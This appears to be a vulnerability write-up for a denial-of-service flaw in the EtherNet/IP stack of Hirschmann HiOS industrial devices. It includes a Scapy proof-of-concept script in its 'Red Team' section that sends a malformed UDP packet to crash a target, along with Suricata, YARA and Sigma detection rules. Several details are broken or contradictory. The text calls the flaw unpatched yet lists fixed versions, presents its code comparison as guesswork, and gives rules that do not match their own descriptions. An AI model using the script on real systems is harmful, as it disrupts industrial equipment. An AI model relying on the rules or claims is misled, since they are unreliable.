CVE-2020-37216

Executive Summary

CVE-2020-37216 is a denial of service (DoS) vulnerability in the EtherNet/IP stack of Hirschmann HiOS devices. By sending specially crafted UDP packets with a manipulated length field, an unauthenticated remote attacker can crash or hang the device, rendering it inoperable. This vulnerability affects all HiOS versions prior to 08.1.00 and 07.1.01. No public proof-of-concept or exploit code is available, and the EPSS score is 0.0%, indicating low exploitation activity. However, the lack of a patch and the critical nature of industrial control systems make this a significant risk for OT environments.

CVSS Breakdown & Threat Level

• CVSS Score: 7.5 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: None
• Integrity Impact: None
• Availability Impact: High

The vulnerability is remotely exploitable without authentication, making it a high-severity threat to availability. The low attack complexity and lack of user interaction increase the risk.

Deep Dive & Mechanics

The vulnerability resides in the EtherNet/IP stack implementation within Hirschmann HiOS. EtherNet/IP uses the Common Industrial Protocol (CIP) over UDP (port 44818). The stack fails to properly validate the packet length field against the actual payload size. When an attacker sends a UDP packet where the declared length field is larger than the actual data, the device attempts to read beyond the buffer, causing a memory corruption or infinite loop. This leads to a crash or hang of the device, requiring a physical reboot to restore functionality.

The root cause is a missing bounds check in the packet parsing routine. The stack trusts the length field without verifying it against the received data size, leading to an out-of-bounds read or a logic error in state handling.

Vulnerable vs. Patched Code

The vulnerable code likely resides in the EtherNet/IP packet handler. A simplified pseudocode comparison:

Vulnerable (pre-08.1.00):

void handle_ethernet_ip_packet(uint8_t *buffer, uint16_t length) {
    uint16_t declared_length = *(uint16_t *)(buffer + 2);
    // No check if declared_length > length
    process_data(buffer + 4, declared_length);
}

Patched (08.1.00):

void handle_ethernet_ip_packet(uint8_t *buffer, uint16_t length) {
    uint16_t declared_length = *(uint16_t *)(buffer + 2);
    if (declared_length > length - 4) {
        // Invalid packet, drop
        return;
    }
    process_data(buffer + 4, declared_length);
}

The patch adds a bounds check to ensure the declared length does not exceed the actual packet size minus the header.

Exploitation & Lab Setup

Red Team

No public exploit code is available. However, a proof-of-concept can be crafted using Scapy:

from scapy.all import *

def exploit(target_ip):
    # Craft a malformed EtherNet/IP packet
    # EtherNet/IP uses UDP port 44818
    # The length field is set to a large value (e.g., 0xFFFF)
    payload = b'\x00\x00\x00\x00'  # Placeholder header
    # Set length field to 0xFFFF (65535) but actual payload is small
    malformed_packet = IP(dst=target_ip)/UDP(sport=44818, dport=44818)/Raw(load=b'\xFF\xFF' + payload)
    send(malformed_packet, verbose=0)
    print(f"Sent malformed packet to {target_ip}")

# Usage: exploit("192.168.1.100")

This sends a UDP packet with a declared length of 0xFFFF but only a few bytes of actual data. The device will attempt to process the oversized length, causing a crash.

Blue Team

To detect exploitation attempts, monitor for anomalous EtherNet/IP packets on UDP port 44818. Look for packets where the declared length field exceeds the actual payload size. Use the following Suricata rule to alert:

alert udp any any -> any 44818 (msg:"CVE-2020-37216 EtherNet/IP Length Mismatch"; content:"|00 00|"; offset:2; depth:2; byte_test:2,>,2,0; sid:1000001; rev:1;)

This rule checks if the length field (bytes 2-3) is greater than the remaining packet size.

Indicators of Compromise (IOCs)

• Network IOCs:

  • UDP packets to port 44818 with a declared length field larger than the actual payload.
  • Repeated connection attempts to port 44818 from a single source.
  • Device logs showing unexpected crashes or hangs.

• Host IOCs:

  • Device becomes unresponsive to ping or management protocols.
  • System logs indicating a watchdog timeout or kernel panic.

• File IOCs:

  • No file-based IOCs as this is a network-based vulnerability.

Detection Engineering

YARA Rule

rule CVE_2020_37216_EtherNetIP_DoS {
    meta:
        description = "Detects malformed EtherNet/IP packets with oversized length field"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2020-37216"
    strings:
        $ethertype = { 00 00 }  // Placeholder for EtherNet/IP header
    condition:
        // Check if length field (bytes 2-3) is greater than actual payload
        uint16(2) > filesize - 4
}

Sigma Rule

title: CVE-2020-37216 EtherNet/IP DoS Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects attempts to exploit CVE-2020-37216 by sending malformed EtherNet/IP packets
author: Valters IT
date: 2025/04/10
logsource:
    category: network
    product: suricata
detection:
    selection:
        dest_port: 44818
        protocol: udp
        # Check if length field exceeds payload
        # This requires a custom Suricata rule
    condition: selection
falsepositives:
    - Legitimate but malformed packets from faulty devices
level: high

Suricata Rule

alert udp any any -> any 44818 (msg:"CVE-2020-37216 EtherNet/IP Length Mismatch"; content:"|00 00|"; offset:2; depth:2; byte_test:2,>,2,0; sid:1000001; rev:1;)

Remediation & Mitigation

• Immediate: Upgrade to HiOS version 08.1.00 or 07.1.01 if available. If not, isolate affected devices from untrusted networks.
• Network: Use firewalls to restrict access to UDP port 44818 to trusted IPs only.
• Monitoring: Deploy the provided Suricata rule to detect exploitation attempts.
• Workaround: If patching is not possible, disable EtherNet/IP if not required, or use a VPN for remote access.
• Long-term: Implement network segmentation for OT devices and apply vendor patches as soon as they are released.

Valters IT

{/* [Security Hash: 69FDEA7D13CDC96E5AF8740B] */}